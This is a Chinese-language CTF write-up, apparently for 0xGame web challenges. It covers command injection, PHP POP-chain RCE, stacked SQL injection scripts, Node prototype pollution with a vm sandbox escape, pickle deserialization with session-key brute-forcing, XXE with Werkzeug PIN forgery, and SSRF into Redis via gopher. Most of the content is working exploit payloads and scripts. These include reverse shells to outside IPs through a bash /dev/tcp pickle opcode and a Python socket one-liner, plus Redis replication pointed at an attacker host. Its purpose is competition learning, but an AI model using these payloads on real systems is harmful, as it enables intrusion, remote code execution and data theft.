这题直接看源码就行,easy
OST /?a=QNKCDZO&b=240610708 HTTP/1.1
Host: 120.27.148.152:50014
Content-Length: 11
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Origin: http://120.27.148.152:50014
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://120.27.148.152:50014/?a=QNKCDZO&b=240610708
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: name=php://filter/read=convert.base64-encode/resource=flag
Connection: close
c=1024.1a
POST /?query=ctf HTTP/1.1
Host: localhost:8012
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: HarmonyOS Browser
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: role=admin
Connection: close
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
Referer: ys.mihoyo.com
Content-Length: 14
action=getflag
这个工具恢复源码:https://github.com/gakki429/Git_Extract
然后grep找一下就行
base64编码绕过
ip=127.0.0.1|echo${IFS}"Y2F0IC9mKg=="|base64${IFS}-d|bash
ip=#127.0.0.1%0aecho${IFS}Y2F0IC9mbGFnCg==|base64${IFS}-d|bash
show_source(__FILE__);
//error_reporting(0);
class Cache {
public $key;
public $value;
public $expired;
public $helper;
public function __construct($key, $value, $helper) {
$this->key = $key;
$this->value = $value;
$this->helper = $helper;
}
public function __wakeup() {
$this->expired = False;
echo "1";
}
public function expired() {
echo "3";
if ($this->expired) {
echo "2";
$this->helper->clean($this->key); //
return True;
} else {
return False;
}
}
}
class Storage {
public $store;
public function __construct() {
$this->store = array();
}
public function __set($name, $value) { //给不存在的成员赋值时
if (!$this->store) {
$this->store = array();
}
if (!$value->expired()) { // 这里
$this->store[$name] = $value;
}
}
public function __get($name) {
return $this->data[$name];
}
}
class Helper {
public $funcs;
public function __construct($funcs) {
$this->funcs = $funcs;
}
public function __call($name, $args) {
$this->funcs[$name](...$args); // rce
}
}
class DataObject {
public $storage;
public $data;
public function __destruct() {
foreach ($this->data as $key => $value) {
$this->storage->$key = $value; //
}
}
}
$q = $_POST['a'];
unserialize($q);
$a = new DataObject;
$a->storage = new Storage;
$o = new Cache();
$o->helper = new Helper;
$o->key = "cat /proc/self/environ";
$o->helper->funcs = ['clean'=>'system'];
$o->expired = "True";
$a->data = ['Harder' => $o];
echo serialize($a);
?>
这题挺抽象的,POP链子不难,但是想复杂了
public function __call($name, $args) {
$this->funcs[$name](...$args); // rce
}
这个地方很抽象,我当时看到这个以为是用call_user_func之类的回调函数来实现rce,尝试了很久,发现不行
最好直接system函数,传一个参数的数组就行了,这是真的哭死
...$arg的功能
如果 $args 数组是 [1, 2, 3],那么 …$args 就会被扩展成 1, 2, 3,作为函数或方法的参数传递进去,相当于直接写成了 function_name(1, 2, 3)。
因为禁止了太多的函数,大小写也被ban了,这里是运用了堆叠注入加预处理可以做,我当时写了半天的延时注入脚本!!!结果发现网站不稳定,就曝出了一个数据库的cf
什么是预处理:
https://www.cnblogs.com/geaozhang/p/9891338.html
然后尝试报错注入一下就出了
http://124.71.184.68:50021/?order=id;set/**/@c=0x73656C656374206578747261637476616C756528312C636F6E63617428307837652C307837652C646174616261736528292929;prepare/**/aaa/**/from @c;execute/**/aaa;
select extractvalue(1,concat(0x7e,0x7e,(SELECT Group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'ctf')));
http://124.71.184.68:50021/?order=id;set/**/@c=0x73656C656374206578747261637476616C756528312C636F6E63617428307837652C307837652C2853454C4543542047726F75705F636F6E636174287461626C655F6E616D65292046524F4D20696E666F726D6174696F6E5F736368656D612E7461626C6573205748455245207461626C655F736368656D61203D2027637466272929293B;prepare/**/aaa/**/from @c;execute/**/aaa;
MySQLdb.OperationalError: (1105, "XPATH syntax error: '~~flag,userinfo'")
select hex("select extractvalue(1,concat(0x7e,0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='ctf' and table_name='flag')));");
http://124.71.184.68:50021/?order=id;set/**/@c=0x73656C656374206578747261637476616C756528312C636F6E63617428307837652C307837652C2873656C6563742067726F75705F636F6E63617428636F6C756D6E5F6E616D65292066726F6D20696E666F726D6174696F6E5F736368656D612E636F6C756D6E73207768657265207461626C655F736368656D613D276374662720616E64207461626C655F6E616D653D27666C6167272929293B;prepare/**/aaa/**/from @c;execute/**/aaa;
(select group_concat(first_name,0x7e,last_name) from dvwa.users))
hex("select extractvalue(1,concat(0x7e,0x7e,(select flag from ctf.flag)));");
hex("select extractvalue(1,concat(0x7e,0x7e,substr((select flag from ctf.flag),29,30)));");
0xGame{4286b62d-c37e-4010-ba9c-35d47641fb91}
http://124.71.184.68:50021/?order=id;set/**/@c=0x73656C656374206578747261637476616C756528312C636F6E63617428307837652C307837652C737562737472282873656C65637420666C61672066726F6D206374662E666C6167292C32392C33302929293B;prepare/**/aaa/**/from @c;execute/**/aaa;
贴一下我的垃圾预处理延时注入脚本
import requests
import time
import string
### 还需要改一改 这个脚本延时不稳定
dic1='abcdefghrjklmnopqrstuvwxyz0123456789ABCDEFGHRJKLMNOPQRSTUVWXYZ_.[]/'
dic = string.printable.replace("*","")
def main():
#题目地址
url = '''http://120.27.148.152:50021/?order=name;'''
#注入payload
payloads = "set/**/@a=0x{0};prepare/**/ctftest/**/from/**/@a;execute/**/ctftest;"
flag = ''
for i in range(1,30):
#查询payload
for j in dic:
payload = "select if(substr((select database()),{0},1)={1},sleep(4),1);"
url = url + payloads.format(str_to_hex(payload.format(str(i),j)))
#将构造好的payload进行16进制转码和json转码
now = time.time()
try:
r = requests.get(url=url, timeout=4)
except Exception as e:
pass
# print(time.time() - now)
if time.time() - now > 4:
flag+= j
print(flag)
time.sleep(0.1)
break
# times = time.time()
# res = requests.get(url = url)
# # print(res.text)
#
# if time.time() - times >= 3:
# flag = flag + chr(j)
# print(flag)
# break
def str_to_hex(s):
return ''.join([hex(ord(c)).replace('0x', '') for c in s])
if __name__ == '__main__':
main()
这题挺好的,学到了很多东西!!后面详细学习补充吧,分析一下这题的逻辑吧
const crypto = require('crypto')
const vm = require('vm');
const express = require('express')
const session = require('express-session')
const bodyParser = require('body-parser')
var app = express()
app.use(bodyParser.json())
app.use(session({
secret: crypto.randomBytes(64).toString('hex'),
resave: false,
saveUninitialized: true
})) // session在这使用
var users = {}
var admins = {}
function merge(target, source) {
for (let key in source) {
if (key === '__proto__') { //__proto__
continue
}
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
return target
}
var admins = {}
function clone(source) {
return merge({}, source)
}
function waf(code) {
let blacklist = ['constructor', 'mainModule', 'require', 'child_process', 'process', 'exec', 'execSync', 'execFile', 'execFileSync', 'spawn', 'spawnSync', 'fork']
for (let v of blacklist) {
if (code.includes(v)) {
throw new Error(v + ' is banned')
}
}
}
function requireLogin(req, res, next) {
if (!req.session.user) {
res.redirect('/login')
} else {
next()
}
}
app.use(function(req, res, next) {
for (let key in Object.prototype) {
delete Object.prototype[key]
}
next()
})
app.get('/', requireLogin, function(req, res) {
res.sendFile(__dirname + '/public/index.html')
})
app.get('/login', function(req, res) {
res.sendFile(__dirname + '/public/login.html')
})
app.get('/register', function(req, res) {
res.sendFile(__dirname + '/public/register.html')
})
app.post('/login', function(req, res) {
let { username, password } = clone(req.body)
if (username in users && password === users[username]) {
req.session.user = username
if (username in admins) {
req.session.role = 'admin'
} else {
req.session.role = 'guest'
}
res.send({
'message': 'login success'
})
} else {
res.send({
'message': 'login failed'
})
}
})
app.post('/register', function(req, res) {
let { username, password } = clone(req.body) //污染
if (username in users) {
res.send({
'message': 'register failed'
})
} else {
users[username] = password //
res.send({
'message': 'register success'
})
}
})
app.get('/profile', requireLogin, function(req, res) {
res.send({
'user': req.session.user,
'role': req.session.role // 污染
})
})
app.post('/sandbox', requireLogin, function(req, res) {
if (req.session.role === 'admin') { //admin
console(req.body.code)
let code = req.body.code // req.body.code =
let sandbox = Object.create(null) //
let context = vm.createContext(sandbox)
try {
waf(code)
let result = vm.runInContext(code, context)
res.send({
'result': result
})
} catch (e) {
res.send({
'result': e.message
})
}
} else {
res.send({
'result': 'Your role is not admin, so you can not run any code'
})
}
})
app.get('/logout', requireLogin, function(req, res) {
req.session.destroy()
res.redirect('/login')
})
app.listen(3000, function() {
console.log('server start listening on :3000')
})
这题首先是只能在登陆出进行污染,因为每次请求都会删除prototype的键值:
app.use(function(req, res, next) {
for (let key in Object.prototype) {
delete Object.prototype[key]
}
next()
})
污染这里我以为constructor也被过滤了,当时麻爪了,结果发现他是在逃逸哪里过滤的
原型链污染payload:
{
"constructor":{
"prototype":{
"Harder":"111"}
},
"username":"Harder",
"password":"Harder"
}
参考的vm逃逸文章:https://xz.aliyun.com/t/11859,后续好好学习一下补充vm和vm2逃逸类型的知识
https://www.anquanke.com/post/id/237032#h3-3
这个是我的vm逃逸的payload:
throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc['const'+'ructor']['cons'+'tructor']('return pr'+'ocess'))();
return p['mai'+'nModule']['re'+'quire']('child_p'+'rocess')['exe'+'cSync']('cat /f*').toString();
}
})
这题对抗渲染文件上传,进行一手二次渲染直接秒。
和upload-labs的17关不一样的是,这题后端验证绕过可以改文件后缀,有师傅陷入误区了(buish
二次渲染原理:
图片绕不过,因为渲染会修改数据块,导致文件正确路径不能正常返回
https://blog.csdn.net/weixin_45588247/article/details/119177948
对抗着一块,github上搜索工具就行
https://github.com/hxer/imagecreatefrom-/blob/master/png/poc/test.png
switch ($_FILES['file']['type']) {
case "image/gif":
$source = imagecreatefromgif($_FILES['file']['tmp_name']);
break;
case "image/jpeg":
$source = imagecreatefromjpeg($_FILES['file']['tmp_name']);
break;
case "image/png":
$source = imagecreatefrompng($_FILES['file']['tmp_name']);
break;
default:
die('Invalid file type!');
}
这个png和jpg比较好绕过,直接工具
python2 poc_png.py -p '' -o gg_shell.png test.png
这题一眼pickle反序列化,无过滤
from flask import Flask, request, render_template, session
import pickle
import uuid
import os
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex()
class Note(object):
def __init__(self, name, content):
self._name = name
self._content = content
@property
def name(self):
return self._name
@property
def content(self):
return self._content
@app.route('/')
def index():
return render_template('index.html')
@app.route('/' , methods=['GET'])
def view_note(note_id):
notes = session.get('notes')
if not notes:
return render_template('note.html', msg='You have no notes')
note_raw = notes.get(note_id)
if not note_raw:
return render_template('note.html', msg='This note does not exist')
note = pickle.loads(note_raw)
return render_template('note.html', note_id=note_id, note_name=note.name, note_content=note.content)
@app.route('/add_note', methods=['POST'])
def add_note():
note_name = request.form.get('note_name')
note_content = request.form.get('note_content')
if note_name == '' or note_content == '':
return render_template('index.html', status='add_failed', msg='note name or content is empty')
note_id = str(uuid.uuid4())
note = Note(note_name, note_content)
if not session.get('notes'):
session['notes'] = {}
notes = session['notes']
notes[note_id] = pickle.dumps(note)
session['notes'] = notes
return render_template('index.html', status='add_success', note_id=note_id)
@app.route('/delete_note', methods=['POST'])
def delete_note():
note_id = request.form.get('note_id')
if not note_id:
return render_template('index.html')
notes = session.get('notes')
if not notes:
return render_template('index.html', status='delete_failed', msg='You have no notes')
if not notes.get(note_id):
return render_template('index.html', status='delete_failed', msg='This note does not exist')
del notes[note_id]
session['notes'] = notes
return render_template('index.html', status='delete_success')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000, debug=False)
这是源码,这题R指令不知道为啥一直打不通,后面换的i指令打通的
这题用的一个爆破密钥的工具,比较麻烦的是,服务器10分钟重启一次,需要重新爆破密钥
# -*- coding: utf-8 -*-
# @Time : 2022/9/17 9:11
# @Author : pysnow
import os
# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod
# Lib for argument parsing
import argparse
# external Imports
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if (secret_key == None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
dic = '0123456789abcdef'
if __name__ == '__main__':
for i in dic:
for j in dic:
for k in dic:
for l in dic:
key = i + j + k + l
res = FSCM.decode('.eJw1yrsOgjAYQOFXMd2bwE8JlsShEkE0GMOtwkZLK2pREyUMhHdXB8_yLWdC98dbvZA_oYZ4nkVajalSGhOLerhxHQfbSkiytEFLAb9vIZCPziwrj-xfkAQh1YKHT2GoNvG4yXtq1XWWm6Bfmy0U-3gMT-B2gvPiyg43CdHXTldAhzYqh3aXJQzSTrqpXV3ICs3z_AEJNC9n.ZS-UbA.5BAmkmsUM3gKhRjHCssZxomglqg', key)
# print(res)
if 'notes' in str(res):
print(key)
exit()
这个脚本有几个地方需要自己改,看源码就能读懂
打i指令:
opcode=b'''(S'bash -c "bash -i >& /dev/tcp/36.xxx.xxx.159/port 0>&1"'
ios
system
.'''
本地伪造session好处:
然后把本地的shell直接放入session就可以打了,反弹shell比较慢
python的源码:
from flask import Flask, render_template, request, redirect
from urllib.parse import unquote
from lxml import etree
from io import BytesIO
import requests
import re
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'GET':
return render_template('index.html')
else:
feed_url = request.form['url']
if not re.match(r'^(http|https)://', feed_url):
return redirect('/')
content = requests.get(feed_url).content
tree = etree.parse(BytesIO(content), etree.XMLParser(resolve_entities=True))
result = {}
rss_title = tree.find('/channel/title').text
rss_link = tree.find('/channel/link').text
rss_posts = tree.findall('/channel/item')
result['title'] = rss_title
result['link'] = rss_link
result['posts'] = []
if len(rss_posts) >= 10:
rss_posts = rss_posts[:10]
for post in rss_posts:
post_title = post.find('./title').text
post_link = post.find('./link').text
result['posts'].append({'title': post_title, 'link': unquote(post_link)})
return render_template('index.html', feed_url=feed_url, result=result)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000, debug=True)
这题考的是XXE任意文件读取,加伪造pin实现rce,然后反弹shell/readflag
XXE的paylaod:
]>
&xxe;
&xxe;
这是最后伪造pin码所用到的脚本:
import hashlib
from itertools import chain
# https://github.com/pallets/werkzeug/blob/2.0.x/src/werkzeug/debug/__init__.py#L43
# werkzeug2.0x 高版本
probably_public_bits = [
'app' # username /etc/passwd里面找用户
'flask.app', # modname 默认值
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.9/site-packages/flask/app.py' #etattr(mod, '__file__', None), 报错得到,moddir
]
"""
private_bits参数一 :str(uuid.getnode()), /sys/class/net/ens0/address /sys/class/net/eth0/address 02:42:c0:a8:00:02
private_bits参数二 :# 一.get_machine_id(), /etc/machine-id 二. /proc/self/cgroup
"""
a = str(int("02:42:c0:a8:00:02".replace(":",""),16))
print(a)
private_bits = [
'2485723332610'
'96cec10d3d9307792745ec3b85c89620'
]
# 如果是docker需要读
# '96cec10d3d9307792745ec3b85c89620'+'docker-fdcea420d972705e3e38b080e3ae658492f05756c6ed9d786b26b2b1b39d46e5.scope'
# 源码里面的
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
num = None
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x: x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
print(rv)
这题不太明白考啥,我用了一个超大数字直接溢出了,买了11111111111111111111111个橘子,然后直接卖掉,买flag就行,等一手官方writeup
Goland的经典安全漏洞:
https://blog.h4ck.fun/golang_vuln_share/
直接用这个命令来反弹shell就行了,注意转义的问题,拼接一个;;.zip就行
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("36.139.110.159",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
解法二:
用软链接的方法将/flag从更目录勾出来,2022国赛签到考点
ln -s /flag test
zip --symlinks test.zip ./test
Hint 1: 注意 curl_setopt 的参数以及 phpinfo 的信息
Hint 2: SSRF 打 Redis 主从复制 RCE
Hint 3: 通过 HTTP Location 跳转将请求协议从 http/https 转向 gopher/dict
参考:https://blog.csdn.net/whowhenhow5/article/details/121331789
redis的理解
redis主从复制的原理:就我个人理解,首先攻击者搭建了一个流氓主机,让被攻击机从属于该主机,因为攻击机可以把自己内部的数据同步到从机,所以可以通过比较复杂的过程实现将攻击程序发送的从机的步骤。而redisRedis 版本(4.x~5.0.5)可以加载外部模块来运行,即我们可以利用这一点加载恶意程序。
写php文件进行重定向
payload:
要进行gopher编写一下
payload1 = '''
slaveof 112.35.98.208 21000
config set dir /tmp
config set dbfilename exp.so
quit
'''
payload2 = '''
slaveof no one
module load /tmp/exp.so
system.exec 'command'
quit
'''
header('Location:gopher://db:6379/_%2A%31%0D%0A%24%30%0D%0A%0D%0A%2A%33%0D%0A%24%37%0D%0A%73%6C%61%76%65%6F%66%0D%0A%24%31%33%0D%0A%31%31%32%2E%33%35%2E%39%38%2E%32%30%38%0D%0A%24%35%0D%0A%32%31%30%30%30%0D%0A%2A%34%0D%0A%24%36%0D%0A%63%6F%6E%66%69%67%0D%0A%24%33%0D%0A%73%65%74%0D%0A%24%33%0D%0A%64%69%72%0D%0A%24%34%0D%0A%2F%74%6D%70%0D%0A%2A%34%0D%0A%24%36%0D%0A%63%6F%6E%66%69%67%0D%0A%24%33%0D%0A%73%65%74%0D%0A%24%31%30%0D%0A%64%62%66%69%6C%65%6E%61%6D%65%0D%0A%24%36%0D%0A%65%78%70%2E%73%6F%0D%0A%2A%31%0D%0A%24%34%0D%0A%71%75%69%74%0D%0A%2A%31%0D%0A%24%30%0D%0A%0D%0A');
// one
header('Location:gopher://db:6379/_%2A%33%0D%0A%24%37%0D%0A%73%6C%61%76%65%6F%66%0D%0A%24%32%0D%0A%6E%6F%0D%0A%24%33%0D%0A%6F%6E%65%0D%0A%2A%33%0D%0A%24%36%0D%0A%6D%6F%64%75%6C%65%0D%0A%24%34%0D%0A%6C%6F%61%64%0D%0A%24%31%31%0D%0A%2F%74%6D%70%2F%65%78%70%2E%73%6F%0D%0A%2A%32%0D%0A%24%31%31%0D%0A%73%79%73%74%65%6D%2E%65%78%65%63%0D%0A%24%35%0D%0A%27%65%6E%76%27%0D%0A%2A%31%0D%0A%24%34%0D%0A%71%75%69%74%0D%0A%2A%31%0D%0A%24%30%0D%0A%0D%0A');
//two
?>
分两次进行重定向,第一个写入恶意.so文件
第二个断开与主redis服务的连接,独立进行命令执行
week4后面在补吧,学习中